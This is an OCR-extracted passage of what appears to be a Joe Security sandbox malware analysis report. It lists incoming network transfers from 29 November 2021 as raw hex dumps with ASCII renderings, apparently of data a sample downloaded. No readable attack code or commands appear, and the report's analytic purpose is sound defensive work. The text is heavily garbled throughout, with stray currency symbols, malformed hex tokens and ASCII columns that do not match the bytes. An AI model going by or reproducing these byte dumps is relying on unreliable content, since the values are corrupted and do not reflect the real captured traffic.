alf6 db 1c 00 35 66 d1 20 c9 9a 3f 70 8¢ ae 07 19 8a 30 77 c8 63 69 e7 c9 59 44 85 c3 fc d8 38 89 76 9d 52 d9 el 65 fe
20 41 30 93 14 8e 9b 37 1c 92 bf 06 2c 8b 49 d9 b7 c4 4d 23 27 df 76 5f 00 58 cc ef 1f c6 ff 31 1f bb 89 80 68 99 65 2e af
63 f8 3a 05 f6 7d 95 65 €6 88 eb 01 a9 56 b0 3c a8 e2 47 e0 9f 83 a7 5e a2 98 6¢ 99 b0 b4 d9 8f a5 3b bb 1le eb 92 71 69
d6 f9 d7 71 6d 28 72 8d bf 47 d9 49 7f b2 3c 9f 8d fO €0 2a 68 97 b0 d6 af 4b 7b 32 6b aa a0 29 9f ¢7 13 a7 80 27 2d d9 70
18 fe 58 53 al 9c¢ 10 76 83 cf ab 4e 40 b8 35 1f d2 cc 0f 8d a7 c9 64 1f da fa fe 6e a4 al a5 7c 5b ¢3 7b Of 8¢ ec 55 1a 32
ab 86 a4 c7 al a4 f8 5b a9 7d c6 a2 7e 3f {7
Data Ascii: [+8+cpS5c|);'5f ?pOwciYD8vRe A07,IM#'v_X1he.c:}eV<GAl;gigm(rGl<*hK{2k)-pXSvN@5dn|[{U2[}~?

2021-11-29 13:25:46 UTC 157 IN Data Raw: 79 e4 02 31 9d 09 6d 30 8a af 4c 66 74 ec 89 aa 34 88 75 f4 e7 07 bl 54 29 14 7 bf 4c 43 Oe 60 d4 b2 e4 99
22c7d0c383285b bd e4 15 9b 11 db 08 4a f1 be 31 13 94 9e 5a 81 d6 8a 5f 82 92 d1 32 1f 8f e9 a2 58 19 d9 f1 7 9e 7f
39 95 af 21 d0 26 c5 27 c5 55 a3 35 9e 7 a8 ac 5b 3e 14 a2 8a 8d 0f Oe 3b 21 b0 c7 4b 3e b3 56 33 28 f5 1f c7 df 98 cf {7
12 54 59 bc 87 32 15 b7 7d f4 7c 9b fe el ea 08 6f f7 93 94 31 37 95 9e 5f 75 8b 71 Oc 50 58 7 04 a0 a7 a6 ce ec 75 3f d9
ce 11 2a 0b 3c cc b2 51 51 a3 af b2 a0 90 Oc 3b 96 11 59 f3 7d 59 77 46 71 03 ff 55 7b 30 01 9c ee 33 c0 ab eb a5 88 34
28 1b 65 25 2f b9 a5 32 2e 4b be 7b 27 8e {8 df 08 4d 50 7f fa 3a 57 59 e2 65 55 e4 5f 8¢ 81 80 a9 cl af 54 d2 ba ae aa df
a7 80 00 90 d7 90 1f 86 33 95 09 79 70 69 8f
Data Ascii: yImOLft4uT)LC "([J1Z_2X9!&'U5[>;!K>V3(TY2}|o17_ugPXu?*<QQ;Y}YwFquU{034(e%/2.K{MP:WYeU_T3ypi

Copyright Joe Security LLC 2021 Page 28 of 37



kBytes
Timestamp transferred

2021-11-29 13:25:46 UTC 159

2021-11-29 13:25:46 UTC 160

2021-11-29 13:25:46 UTC 161

2021-11-29 13:25:46 UTC 162

2021-11-29 13:25:46 UTC 163

2021-11-29 13:25:46 UTC 164

2021-11-29 13:25:46 UTC 166

2021-11-29 13:25:46 UTC 167

2021-11-29 13:25:46 UTC 168

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 5 0d b1 88 fd 8e 08 2f d2 11 20 d7 b5 40 60 63 ae 5a b4 d4 6b bf 2e €9 d1 3e bb 51 bb 23 49 31 c5 61 92 28
a0 09 59 d4 2e 42 47 6b 92 5f 50 bc b1 9d 97 {7 ba b4 19 92 3c ee b6 53 76 f9 cb c9 0a 38 77 32 de ed 2d fO 75 5b 97 01
ee ff 96 b5 78 2e ca e6 91 eb 37 28 71 04 ce d3 47 ff a5 4a cf af 3b 26 cc 6¢ 7a b8 36 25 f0 c6 42 30 c9 8f b5 46 36 d1 6a
19 e9f9 25 ba 8d f3 61 29 ed 38 00 9d 60 7a 65 al 98 17 82 dc 40 3b 9e d6 c8 59 53 5a 37 56 4f 18 a3 77 9b 21 09 c2 b8
7d 4d cc 79 e9 31 1c ea fa d2 99 9c 4f 7a ce 98 5d 6¢ 23 68 7d 31 79 al 9a 23 5a Oc 25 e0 6¢ 96 1a Ob b9 b2 98 69 1c 5f
81 la8ala 77 70 01 52 28 4b f6 04 Oc 4d c9 c5 6 93 90 b0 1c f1 de fc 33 3 d1 98 75 a6 4c 70 89 43 ee 02 46 03 af 6¢
67 22 ba 1a 5b 18 cb 17 68 4f 1e f2 9d 9c 45 8e e3 ae

Data Ascii: / @ cZk.>Q#l1a(Y.BGk_P<Sv8w2-u[x.7(qGJ;&Iz6%B0F6|%a)8 ze@;YSZ7VOw!}My10z]l#h}1y#Z%li_wpR
(KM3uLpCFlg"hOE

Data Raw: 5e 6a cbh ca d3 9b 74 06 80 e6 27 ab f8 d3 6b 9¢c 00 04 51 04 37 c3 95 80 89 a8 2d 22 d9 06 8b 4f aa dd cO c5
2340 d6 cc 93 5f 68 c1 84 18 3a 8e 1d 5b 1e 04 €9 69 f9 ab 9f eb f3 78 34 f4 €6 3¢ 11 33 1b aa fe 18 23 e8 e6 fa el 86 Of
16 b8 33 7d d9 51 7c 2a 34 20 4e ca 61 73 50 0a 9e cd 1d f3 d8 d6 88 fO Oe 35 e4 85 d0 c4 16 45 c4 c9 a2 45 c9 8¢ 69 10
3f fa f8 a0 b4 1a c6 82 ab 10 c1 d1 6e 8d 6e 66 7e 5f 07 27 f8 15 69 6a 6¢ 55 00 1b d4 52 0d 50 86 6b ef 9e 38 5¢ 5a 08 a2
737 8c 54 87 7f d5 c6 08 c7 c1 39 ac f8 5b ea 65 d9 ed bb 67 05 74 53 b9 b0 74 8a 6e d2 2e 58 €9 49 cd c1 21 2d 65 13
fb fO b3 06 34 a8 31 90 30 33 ad 31 f2 98 77 51 d9 66 ec 11 e8 b6 aa 1c 5f a7 6¢ ee c8 15 ¢5 3d e0 40 97 25 37 6d eb fc
6d ae a2 39 73 27 4b 60 5¢ 10 62 8e c6 ca c3 el e2

Data Ascii: NjtkQ7-"O#@_h:[ix4<3#3}Q|*4 NasP5EEi?nnf~_'ijlURPk8\Z7T9[egtStn.XI!-e41031wQf_|=@%7mm9s'K \b

Data Raw: 9e 09 04 e4 4f 43 83 16 3d c2 €9 71 07 e6 a0 c7 35 3f c1 62 47 85 95 79 eb d5 a2 03 7d 87 60 70 fe 03 00 12
d4 ff 70 95 c1 67 48 e3 fa d4 16 67 03 73 41 54 05 a8 46 82 28 05 cf 84 1f 0d df 66 9a 06 25 c4 be e9 f3 a4 35 21 8f 97 7d
5c 3e a9 ad ca b6 2d 6b f2 a4 fb c3 34 ac 50 cd f6 62 79 74 9b ac ff 73 fb 68 f9 84 b3 fe a9 8b 9a 3d c2 ca 84 59 56 11 0d
la 24 f4 16 56 35 ed 64 Oc 5f 2c ¢9 31 1c b2 18 ba 51 20 64 97 1a 15 5¢ 99 3f 79 05 cc 1d 79 4b 59 e2 8c 93 4f dc d6 8a
7b 37 ef 68 1e 3f 90 13 7e 1c el 1a 30 40 84 94 61 86 32 75 b6 d8 74 41 5d 45 c9 cc 40 b4 1c 0d 30 57 25 42 a2 04 a9 95
dd 7b d2 b9 25 8b 5b 56 eb c4 7 ec 75 €3 76 29 d2 58 cc 3c ab 1e 40 a8 1e 9c 24 c6 92 8e cd 6d ab e2 69 f0 ef c7 00 25
7 b8 d5 96 a8 af b6 55 a9 ea 12 b4 41 c0 3b 93 3b

Data Ascii: OC=g5?bGy} ppgHgsATF(f%5!1\>-k4Pbytsh=YV$V5d_,1Q d\?yyKYO{7h?~0@a2utA]JE@O0W%B{%
[Vuv)X<@$mi%UA;;

Data Raw: b5 ca 5c ¢8 c6 23 b4 b7 fe a2 33 32 e8 23 13 e8 be 40 70 7e 8d 35 b3 f1 51 82 13 c4 e4 Oa c4 5a 6a f5 a6 95
08 83 6e c2 78 ca 87 22 dd b7 al b3 69 81 9c 56 ba 91 90 eb be 91 18 85 13 f2 ae 5¢ 5¢ c1 eb €3 25 Oc Oc 25 ed d7 36 f2
6a 42 8f 58 d6 f3 8b b4 4b 18 e8 c9 b9 el 1a 07 46 1a f1 d2 35 9e 8 2f 8e ff 44 54 f1 3b 08 d5 72 39 a6 ab 2a 51 8d eb 99
76 74 98 34 78 f3 3 3a a0 b1l e8 7e Ob c0 12 1c b9 4f 4f 4d 95 a4 3b 98 d5 6d 07 b4 8 93 48 72 44 3e 43 48 11 9d 59 96
3f 2e dO 6b ae a6 21 9e 2c cb eb 50 29 20 7c 7f a9 a6 15 74 a7 c6 db 66 60 Ob 6e bd 82 36 5b 27 04 2 7f a0 37 05 96 bb
be 5b 3d 73 93 17 b0 28 4b 58 7f 63 45 52 c0 Ob 12 58 99 81 €0 d8 cc €4 30 c6 d7 a6 53 83 b1l ac 61 99 76 06 fa 02 af 51
36 70 d1 03 1le 42 dc 5a 45 3d f1 38 41 7d 34 8f b5 99

Data Ascii: \#32#@p~5QZjnx"iV\\%%6]BXKF5/DT;r9*Qvtdx:~OOM;mHrD>CHY?.k!,P) |tf'n6['7[=s(KXCERX0SavQ6ép
BZE=8A}4

Data Raw: bc d4 dc 4c b9 52 fb e8 el b5 8f 00 38 c2 59 bb Oe f9 7e 80 3a 32 64 55 7a f3 a4 b0 84 70 4f f5 1c dd bb 99 1e
1a 09 Ob 71 80 71 40 49 97 19 22 b5 ab b6 46 3e 93 23 f1 2c b3 8d 18 d0 68 41 df Ob 6e 5d be af 9a d6 68 e6 c6 c6 1a 16
3b e2 17 ad ab fe 9e 53 6f ee cf 7a cf 4b b7 47 fe c1 96 3b 05 47 95 14 48 8¢ 15 24 a8 a4 72 ¢5 50 34 d1 71 54 47 3e c8
04 f9 e8 cf 9b 7c 33 88 2d 8a 4e 33 0a e0 03 fd aa 38 db a8 c0 63 bf d5 1f 18 f9 12 fa al el fa 68 31 80 el 6f 9d 4b 44 68
00 1a 08 el b7 6f df 04 84 3b 45 d6 49 8d e5 78 bf ae 17 f5 ce 98 25 a3 7c 1b db 59 a0 ea f1 al cc 99 49 2f 92 20 4c bc 44
7c 12 7c 15 81 ¢7 1a 46 dc d8 b0 Oc 46 9c 12 b5 99 50 2c ee 41 3c 44 b3 b3 ff 47 6e d5 4c cb e0 37 90 13 b5 0a ba 30 89
4e c2 c3 7b bb 3d 05 41 01 46 6f 67 Oc 51 b8 c1

Data Ascii: LR8Y~:2dUzpOqq@!"F>#,hAn]h;S0zKG;GH$rP4qTG>|3-N38ch1oKDho;EIx%|YI/ LD||FFP,A<DGnL70N{=AF
09Q

Data Raw: 19 53 b7 09 b3 c6 4c 3c 9e 88 5d 8 67 Oe 2f b9 b7 36 bb 03 75 ec 1d b4 b0 6a 9b ac 38 04 0f d5 60 7d 3b a7
3e ed ec e9 fb 02 8f 2c 02 df 7a 01 c3 61 2 cf 8 8d ba f7 b6 03 f4 2d 5a bb e8 23 e8 fb 66 c4 d7 89 a8 14 ea 64 ff 2b 7f {7
5b 21 f6 d5 60 2d 3a 45 20 ee Ob 63 b8 73 52 a9 3f c4 b7 58 f0 db ca 3e 80 04 75 77 67 47 23 32 2a Oa 3f 39 aa 62 b5 36
7e e2 83 a7 ab 9b 6a a0 b0 82 44 86 6a ee ad d2 36 07 fa 03 0a 52 36 70 cc 0f c1 42 6e 2d 74 13 c1 16 db 5a 07 be 91 99
a4 d8 6¢ 8a 32 30 d5 53 ¢9 03 af 29 59 20 4f 7c fb 2b e5 fe 00 f7 a2 33 ec f1 5b 6¢ 9f 68 50 ee 60 84 3b 34 05 73 6f 01 83
Oe 46 92 26 37 c4 be 37 99 b1 44 el 81 be b9 db f4 d2 23 c¢5 52 db 6f fa 12 42 ba 46 84 €6 €9 04 b4 a8 77 89 c4 fd c3 d8
a6 3f 03 cd 9d 56 ad 81 92 c8 6¢ 0d c4 2d 86 64

Data Ascii: SL<]g/6uj8'};>,za-Z#fd+[!"-:E csSR?X>uwgG#2*?9b6~jDj6R6pBN-tZI20S)Y O|+3[IhP";450F&77D#RoBFW?VI-d

Data Raw: 4c 7e 4a 7e 54 53 f5 3c a5 b0 63 1a 19 43 43 c7 48 47 28 c3 14 42 fd 8f 5b 74 20 54 0d a6 68 Of 1a b9 33 2f fe
38 4e cf d1 f5 2d df 87 b4 d0 c0 13 ab 74 fb 62 e3 1c cd 7f ee 5a d2 a9 2c 0a 04 ce 21 b5 6 14 c0 2d d3 b8 6¢ 9d 97 75 f1
31 1c e5 23 88 b3 64 7a 09 33 45 a0 3e 57 b3 38 bc 49 69 ad 2d 92 a8 44 39 08 71 9c 9d c7 04 60 cf 41 ac Oc c1 9b 1f a2
b9 50 10 e2 4c c0 4a b3 1c fa 54 77 fa 3b 59 cb 7c e5 1e c2 0a b4 20 29 66 c2 a4 6b ad e7 05 6b 4f 5e 7c 65 55 fd 1c c6
92 c6 bd 5a 0d 78 57 35 1c 5e d2 8d 5e 98 8f 49 36 16 7c 6¢ le d7 d1 18 fa 4c cd d6 dc 04 59 74 99 90 3a 5b 54 ec f3 66
6a f9 ae e0 84 29 de 81 97 71 f7 7c €5 c4 9f d7 d9 14 bd e2 eb f4 07 bf 56 5d d4 70 b9 1e d0 61 d9 a7 1b 5d a3 10 57 94
3f a8 2b 86 3c 00 c5 26 6e ca 10 f1 30 23 bl ef 98

Data Ascii: L~J~TS<cCCHG(B[t Th3/8N-tbZ,!-lul#dz3E>W8Ii-D9q APLITw;Y| )fkkO"eUZXW5 M 6|ILYt:[Tfj)q|V]pa] W2+<&
no#

Data Raw: 79 da ca d7 a9 56 4f e0 70 c3 3a 25 21 53 5f bf ae ab 77 4e 60 60 14 87 b2 87 cd ¢3 73 b1 97 75 d0 3d c3 35
c6 18 51 7a f5 ae 44 1a 26 51 al 19 57 f0 7a f1 7b ¢3 03 5e 1b 87 62 85 8¢ 6b 8e 58 14 35 25 f9 05 a6 13 bb 3c 68 76 21
b5 40 3f cb a9 80 ac 1c 3f c0 a7 da 9d 73 7d c7 b9 e2 3a 2e 21 30 21 ef 1c 81 19 98 94 9b 4b c0 ac 35 cf d4 c9 e0 b2 93
ed ad 03 6f 11 eb 05 5b ab b8 25 6e ec c7 ab 1b da 93 €3 2a 81 88 7 69 8a 58 08 25 30 eb ca 6d c4 81 a0 e4 3a 1a 19 24
b5 49 c4 28 02 3b 22 d7 5¢ f0 22 8¢ 24 d8 99 2f 39 30 fb 28 dd ef 7f b3 36 87 70 1le 9a 36 3b 46 95 b7 a5 61 5a €5 dd 97
a8 8e Oc e3 e9 3c 11 5d Ob 1f fd 80 91 6a 17 5¢ cc a8 5f 81 12 92 90 98 6e 3e c5 88 da 35 32 34 df 2c 7f ec 5e 05 Oc b0 a9
21 5e el 88 6¢ bd ac da 3a 21 8f d4 94 e9 39 4b 11 09

Data Ascii: yVOp:%!S_wN " su=5QzD&QWz{"bkX5%<hv!@??s}:.10!1K50[%n*IX%0m:$I(;"\"$/90(6p6;FaZ<]j\_n>524"":I9K

Data Raw: 73 22 5d al 48 55 00 7c 9e 9c 47 33 45 fc d4 ac dd 67 82 12 a0 b8 50 05 7c 41 d3 6b 24 9b 2f 4f 79 fb 3b cc ea
37 67 1f d3 2d 3f 31 f4 6f ce ea 65 bb f9 03 ed 32 49 4f f0 02 98 83 cb d2 d8 eb da fa fe 17 3d 6a 49 17 67 16 8a d9 c9 1b
11 3cf2 18 ¢7 8¢ 89 e8 b4 93 58 4b 05 1d 6a cf 90 cd 4b 30 65 f4 64 1e ef bd e2 d2 a9 49 00 df 79 81 6b 13 c9 de d9 8f 94
79 e3 a3 6a 51 29 5b cd 9d 7e e6 8e 26 d4 cf b9 1d 5b de 07 44 61 6f 8f b4 96 71 82 cc a6 99 cc 5d fe 66 1c 60 08 d7 5¢
d6 48 16 5b a0 21 bf 8f 2a 32 ac 73 25 43 b6 81 86 8c cc 7b e5 fc 00 6e 95 4a 84 11 3e 57 6f 3b ee 88 72 5¢ 49 f6 47 c7
c6 71 be 16 98 c6 2e be 42 b0 37 9d 04 82 44 ba 03 43 69 44 ec Oe 7e 60 55 2b 55 c4 8f 72 5b da 5¢ 78 4b c7 5a f9 24 e4
84 cc 25 1b 0f e5 9b ae €9 Oc 37 cf 06 15 b0 95

Data Ascii: s"|HU|G3EgP|Ak$/Oy;7g-?10e2|0=jlg<XKjK0edlykyjQ)[~&[Daoq]f \H[*25%C{nJ>Wo;1\IGq.B7DCiD~
“UHUI\xKZ$%7
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 170 IN Data Raw: 45 78 4a 01 44 9b b4 92 bd 36 dO b7 a0 98 0b 51 c4 81 62 2c 2d f4 49 22 d1 5b 2c 69 €6 19 67 ba b3 11 1c e9
bf b5 ab 77 1e c¢5 39 d3 fd a6 9e 9a c7 9c ed ac 85 93 5f 6d 89 c5 08 86 25 58 28 95 3a b2 8e 58 f5 al 9e 16 ff 9f 2f ce 36
c9 29 dbe9 a3 b9 21 74 74 3b b7 31 09 44 93 b4 53 26 6b a0 d0 39 30 aa 72 fc ef 3c 86 5f 32 5b f8 bd 6d 7d 21 7b ca a8
1 86 20 93 96 de fa 73 5e 2e d3 10 a5 35 ed 2e 79 ef a9 05 26 b9 8a d0 98 c5 ba 6e bb ac 7 3e 13 cb d1 d3 75 96 3a 2b
0f 6b 92 fa 50 64 ed 41 a5 6b a4 43 a2 65 ee 53 20 63 7b 93 e7 9c 4f 24 43 6¢ d4 c2 b5 46 22 ae d8 5c bb ce e0 59 96 cd
3050 75 20 f7 a2 b0 53 70 9f ec 51 d6 84 b1 4c 1d 03 Ob fO 89 05 47 05 94 82 1d db 82 81 46 dc 8d dc db 3d b3 6e 3f 63
49 2f d0 b5 44 28 09 bd 9a b9 5b 08 f4 ¢5 3f 95 13 38
Data Ascii: ExXJD6Qb,-I"[,igw9_m%X(:X/6)!tt;1DS&k90r<_2[m}!{ s".5.y&n>u:+kPdAkCeS c{O$CIF"\YOPu SpQLGF=n?cl/D([
28

2021-11-29 13:25:46 UTC 171 IN Data Raw: 3a f2 15 64 16 ff bd e2 c1 a9 95 89 cf 64 8b fc aa c7 d6 c9 8f 94 6a e3 54 ec e7 3b 51 5a 94 68 ee 9e 26 60 82
b9 d9 5a 68 12 6e 96 c1 2e bd 87 71 1e 80 a6 2b c9 ad fe 4¢c a3 €9 e4 d4 4d d6 00 65 5b b3 10 4f 8f 00 2f 3f 87 26 52 b6
79 f5 8¢ 5b 7a 5f e5 2a ac 63 d8 85 00 3e cf 1e 3b 79 89 ee 49 63 a7 6¢ bb ce 60 be 36 e8 c6 03 b9 02 bb 1d 62 72 fe 4c
ab 03 9b 19 44 01 0Ob 8e 60 7f bc 14 55 87 63 5b 5e 24 78 d4 c5 81 ea Oe 73 c¢9 8d 27 0Oa 0f c5 e4 ae ¢4 Ob a0 c3 2¢ 82 75
61 f2 0d 1a 70 56 bc e2 09 el 4e Ob €9 bd ba e9 28 26 b6 0a 53 63 Ob b8 dc e7 3d 11 93 5¢ f8 fO Of 3¢ b9 bf 05 86 12 d1
ed 9a a9 bl 6a 6¢ aa 2b 04 25 c3 74 7f 9f a6 79 f1 ed e9 3f 03 9c 2c e4 dc db 09 67 60 f8 d1 f9 8d eb f4 a5 03 fe 2b 7d aa
4c 22 a2 d8 67 c4 40 88 bb 14 4e 60 e 2f c5 6 dd
Data Ascii: :ddjT;QZh& Zhn.q+LMe[O/?&Ry[z_*c>;ylcl 6brLD Uc["$xs',uapVN(&Sc=\<jl+%ty?,g +}L"g@N"/

2021-11-29 13:25:46 UTC 172 IN Data Raw: 5b d4 3e 8f 72 fc €9 34 4b 51 7b 1c b7 80 d2 2f 2f 5e ca a8 f7 8e fa 9d 56 98 b5 3f 95 d6 dd 35 a5 35 eb 26 bd
e5e0 02 73 b2 5b 62 9b e0 ba 6e bd a4 26 34 d3 8d 9f 94 7e 7c 34 Oe Of 6b 94 2 61 4a c8 03 €8 56 9b 16 ac 40 ee 53 26
6b 38 bd 19 db 02 68 08 93 da e7 b5 46 24 a6 85 57 9e cc b7 52 ¢7 78 33 75 75 20 f1 aa d9 58 8e d8 a0 16 5d 02 bf 69 1d
03 0d f8 ae 32 69 42 c7 bf a2 50 8¢ a4 46 dc 8b d4 ef 0a 2b 2b 6¢ 2f 82 17 de 90 44 43 95 b5 07 ac 7e 1d bd d4 ee 57 12
1d 3d ab ad 04 2b d0 8b €9 9e ec d1 98 ac 41 fe fe 9f a5 e7 48 b0 67 07 53 29 73 a9 b2 62 1a 5e 47 c1 c4 b7 46 6¢ ce 44
05 fd 8f ab 7a 35 5e 78 a9 53 24 59 bb 46 6a 83 3e db d2 d6 fd 26 cc 87 aa 82 c0 52 f2 e0 e6 63 e3 ae ef €8 cd ea d6 26
06 ae 43 ce 21 75 d9 02 ca be f2 70 4b d9 95 b4 b4 b2
Data Ascii: [>r4KQ{//"V?55&s[bn&4~|4kalV@S&k8hF$WRx3uu X]i2iBPF++|//DC~W=+AHgS)sb"GFIDz5"xS$YFj>&Rc&C
lupK

2021-11-29 13:25:46 UTC 173 IN Data Raw: 4c 49 a7 44 a8 cf 97 b8 25 fb b7 2e 66 c4 a0 37 62 12 ed 55 a0 26 b8 29 35 ec 22 f9 70 55 bc 54 44 9e 68 7e
7714 09 4b 47 dd e9 24 73 85 94 3e 01 2a 95 d4 df €9 54 bf d8 06 82 bl 79 f3 9a 1b 63 45 cd f1 59 b0 4d 21 €9 f9 al e8
df 20 a5 19 22 aa 51 fe ¢7 cd 3d 95 98 5d 6f f1 79 Oc c8 c6 98 fd 02 fb ed 16 a3 b0 fd 6d 3c 1b 75 7e 63 8d 7d b5 a6 35 ea
f4 e2 1a 10 8f 5d 73 49 27 00 4d 60 f0 a9 fb 1a ea 74 97 72 €9 c1 01 ba 66 22 ea fd 7e cf 65 9b a8 65 63 40 a5 2a ef f6 59
47 f184 87 38 3a 34 3d d8 51 62 2b 72 50 ed 3c 53 49 b0 f1 aa d7 7a da 05 e2 76 c5 56 3b 23 74 8f 3f 48 aa da ef 37 e0
e3 81 bl ab 0c 42 9c 94 f3 59 8a 33 ef 32 d3 34 11 fa 94 ae 60 12 01 d1 b7 90 43 dc 2c 71 05 c1 81 73 Oe 23 cc 8c e9 c8
d9 d8 8b 37 26 d5 c4 27 5e 8b 5d 44 00 31 7d 42 2a
Data Ascii: LID%.f7bU&)5"pUTDh~WKG$s>*TycEYM! "Q=]oym<u~c}5]sI'M trf"~eec@*YG8:4=Qb+rP<SlzvV;#t?H7BY
324°C,qs#7&"|D1}B*

2021-11-29 13:25:46 UTC 175 IN Data Raw: 52 b3 3a 2a 7e 50 33 f7 df b0 40 ae d8 ef 16 dd 50 be fe 1c 13 00 8d 89 c2 99 42 97 bf 16 02 8d 33 47 6a 89 al
db ae 6¢ 29 3c 2f 42 45 df 07 45 1d 98 c0 9a 55 84 18 ec d4 1a 05 13 ea 3b 5f a0 71 80 f5 95 e9 cf ec d1 cb ad b6 f8 a0 92
do 1f 2d 75 62 55 53 1d 27 a8 25 63 b1 72 32 d3 86 a8 46 3e ce 04 51 fc 18 aa b1 19 2b Oc a2 9f 24 0a bb 32 39 82 c9 dd
c2 db 88 a5 53 f4 a8 d1 c0 d2 al el 22 62 68 b8 9a 6f bc b7 d3 72 06 1a 10 cf b6 74 a7 2f bf 2c Ob 3c 4e 8d 95 74 €7 b3
e6 f3 5f a2 ce b9 ¢3 3b 31 44 a0 ea 58 bb 31 98 5a 2f fd 20 c4 5a 45 55 00 7c 88 9c 50 32 8c 7 3e ad d4 9b 8f 12 a0 b8 46
05 6b 40 32 60 ce 9a cd bl 74 fb 3b cc fc 37 10 19 ¢8 21 d5 30 a7 90 c3 ea 65 bb ff 1b 66 17 7b 4c 1a 03 d9 7c c6 d2 d8
eb dc e2 75 32 7a 66 a3 16 10 e6 87 d9 c9 1b 77
Data Ascii: R:*~P3@PB3Gjl)</BEEU;_g-ubUS'%cr2F>Q+$29S"bhort/,<Nt_;1DX1Z/ ZEU|P2>Fk@2t; 7!0ef{L|u2zfw

2021-11-29 13:25:46 UTC 176 IN Data Raw: e0 03 08 e4 fO b7 cd 6a cc a8 3a 04 7e d7 39 7d 03 a4 d3 ee 91 e9 84 01 8d 2c 73 dd 3d 01 05 74 16 cd 85 8d
3d f6 b4 03 €9 2d 1b bb 86 20 Oc f9 1b c4 b2 8a aa 14 63 67 be 2b 9d e2 bf 23 8f d5 99 28 38 45 3d ee 4a 63 21 71 b6 ab
42 c4 62 4d 2 db d7 3e c1 04 34 63 23 45 5e 32 17 Oa 3d 39 aa 62 f4 36 de e0 67 a5 d6 9b 22 b4 b2 82 59 86 2b ee eb c5
d2 05 87 03 d3 52 34 70 d1 Of 88 42 b4 2f 97 11 bc 16 ea 4e 05 be 8¢ 99 d1 d8 ce 9c d1 32 a8 53 95 03 ad 29 44 20 37 7c
d0 29 01 fd 7d f7 c7 29 ee f1 5a 6e e7 68 ab f8 84 87 46 34 f7 74 6d 01 82 Oc 22 92 41 35 20 bd 4a 99 52 5a e3 81 bf bb
bb f4 ee 3a 21 51 a6 6f 9b 12 40 ba 47 86 8a €9 b9 bl 4c 75 f4 c4 7b d8 da a6 22 03 51 9c be b6 65 91 b5 6¢ cO cl 2f 86
65 c2 be 95 0a b6 2c 58 8d b5 f8 12 d8 9f 2f ce a0 c9 38
Data Ascii: j:~9},s=t=- cg+#(8E=Jc!qBbM>4c#E"2=9b6g"Y+R4pB/N2S)D 7|)})ZnhF4tm"A5 JRZ:!Qo@GLu{"Qelle, X/8

2021-11-29 13:25:46 UTC 177 IN Data Raw: 7d c8 e2 42 81 8f e2 77 31 56 Oc a6 eb 25 c7 8f d4 2d ff 3e b0 df d2 f5 a5 c3 89 a9 8f c1 34 b5 9c e6 ee ee aa
e7 6f ec cd d2 ef 00 fc 04 b2 21 db d4 06 c2 2c d3 5a 4f 3c 94 92 f3 ce 11 25 2¢ 8b b3 b9 77 8f 31 55 a7 Oc 5¢ de 3a 4f 44
2d 80 20 90 3f 44 b6 01 9a 9c el c7 27 5a de 43 ad Oc f9 8e 55 a7 5e 52 78 fc 74 cc 49 b3 9a f5 d1 75 ae 39 2a e8 4a e7
49 cc 0f a8 30 2b f1 c2 e3 6d 5d fb 7e 6d 4a 56 6d 67 03 7d 1d c7 5e da 0d d8 87 7e 8d 25 48 de 16 8c 88 86 2f cO fd 13
41 72 a4 df ae 1e e9 4e 0d 56 f2 07 fb 68 b2 10 13 53 12 f2 f5 60 81 ff f6 f6 34 ab 34 80 df 60 a3 fc 12 c2 41 c9 6¢ 96 9f el
de ea 73 30 79 5a 9c 6e 79 9e 53 74 77 bb 60 5b 9d 19 46 96 69 28 2a 87 7c 1d 75 a4 e4 cc 39 e0 64 a3 75 ee 43 4d Of
15 90 59 dd 21 3a 91 28 2f af 95 b1 52 f7 7a 00
Data Ascii: }Bw1V%->40!,Z0<%,w1U\:OD- ?D'ZCU"Rxtlu9*J10+m]~mJIVmg}*~%H/ArNVhS 44 AlsOyZnyStw'[Fi(*|u9
duCMY!:(/Rz

2021-11-29 13:25:46 UTC 178 IN Data Raw: 5d bb c8 8 ¢4 b3 d9 06 93 77 5d f7 9c a4 52 70 d9 ef 80 dd Of bf 8f 1f 7e Ob 90 9d 04 47 43 97 29 16 9c 8b 42
44 al 8d 5e cf 3c b3 28 3c b9 42 cf de 76 46 3e 93 19 8e bb 5b 19 ec 42 1a ef 15 fb 3f d6 ab ca 94 c7 75 e8 cf 7a d1 13 ac
a7 fc 83 99 45 0b 57 95 63 55 c5 1d 04 af 54 60 67 58 45 c6 d8 49 47 3e 58 04 bb fd 69 a9 07 33 7a 19 a4 7d 25 Oa 2d 32
9c 85 d8 d9 af d0 bb b0 c1 1f a9 d1 56 d2 c0 e3 00 61 9e a8 97 7a ee 5b d2 72 90 1la e7 c6 c7 77 a4 04 50 39 d1 cc 4f 8d
03 74 55 b1 7 f7 5¢c 89 07 ac 75 19 31 44 36 ea 46 b7 dc bf 34 2f 56 35 92 a9 44 55 96 7c 50 9e 21 31 29 dc bb b8 Oe 6f
8e 12 36 b8 30 11 1a 43 bf 4b a9 8¢ f7 47 75 fb ad cc 12 35 01 1d bf 0d 94 26 29 67 c2 ea f3 bb 3d 16 8b 30 25 6f 39 15 7f
8b c7 d2 4e eb 8 f9 98 15 56 4a 5e 00 8e le 86
Data Ascii: Jw]Rp~GC)BD"<(<BvF>[B?uzEWcUT gXEIG>Xi3z}%-2Vaz[rwP90tU\u1D6F4/V5DU|P!1)060CKGu5&)g=0%09
NV~

2021-11-29 13:25:46 UTC 179 IN Data Raw: 2f b9 50 34 1b 06 1d ef 6b b5 c3 4a 6e aa 38 04 e8 d7 73 4d 53 a4 48 ec 78 c9 3d 03 8f 2c €5 dd Oe 04 ab 62
8d cf 4e ad e9 f4 b6 03 7f 2d 8b 8a 80 20 97 fb be e4 42 88 a8 14 f5 67 e7 2e 09 f4 24 21 08 f5 95 2b 3a 45 ab ee ec 52 cd
70 2d a9 23 e5 4a 4e fO db 41 3e 5d 02 04 74 b8 47 1e 13 53 09 3f 39 3c 62 67 04 06 el fc a7 f4 ba 41 b7 b0 82 cf 86 89
e8d4 d1 49 07 7b 22 ad 51 36 70 47 0f 96 70 3a 2e Oc 13 62 37 70 4d 07 be 1a 99 19 de 3e 89 4a 30 11 72 24 00 af 29 d2
20 49 48 a4 28 9a ff €5 d6 Oa 2a ec f1 cc 6e 3d 69 0d ed 1f 85 3¢ 16 1le 77 6f 01 14 Oc 3f 94 7b 34 bb bf 1e bb 56 5e el 81
29 bb b2 f5 8f 20 ba 53 90 4d bb 16 42 ba d1 86 e3 ef 59 b7 d7 77 e4 e6 47 dc d8 a6 b4 03 16 9d 0Ob ae fe 93 47 4e 98 c5
2d 86 f3 c2 1d 92 dc b0 b7 5a 41 97 8f 16 da 9f b9
